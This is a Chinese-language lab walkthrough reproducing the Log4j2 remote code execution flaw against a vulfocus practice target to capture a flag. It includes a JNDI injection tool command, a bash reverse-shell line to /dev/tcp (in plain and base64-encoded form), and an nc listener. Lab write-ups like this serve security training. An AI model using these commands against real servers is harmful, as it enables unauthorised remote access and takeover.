Log4j2遠程命令執行
- 前言
- 一、Apache Log4j2是什么?
- 二、復現步驟
- 1.工具
- 2.復現程序
前言
一、Apache Log4j2是什么?
Apache Log4j2 是一個基于 Java 的日志記錄工具,該工具重寫了 Log4j 框架,并且引入了大量豐富的特性,該日志框架被大量用于業務系統開發,用來記錄日志資訊, 在大多數情況下,開發者可能會將用戶輸入導致的錯誤資訊寫入日志中,攻擊者利用此特性可通過該漏洞構造特殊的資料請求包,最終觸發遠程代碼執行,
二、復現步驟
1.工具
工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
下載鏈接:https://github.com/fangjiuye/jiuye
2.復現程序
1.啟用靶場http://vulfocus.fofa.so


2.進行抓包

3.在服務器啟動工具
bash -i >& /dev/tcp/ip/1234 0>&1 這條命令需要在https://www.jackson-t.ca/runtime-exec-payloads.html進行編碼

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}” -A IP
payload使用下圖示記那條(目標環境:在JDK中構建,其trustURLCodebase為false,并且在類路徑中具有Tomcat 8+或SpringBoot 1.2.x+):)
并在服務器開啟監聽

nc -lvvp 1234
4.在burp進行構造payload

服務器反shell情況

5.發現服務器監聽無資訊回傳,進行添加Content-Type頭
Content-Type:application/x-www-form-urlencoded

服務器監聽情況,成功反shell

6.獲得flag

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/397559.html
標籤:其他
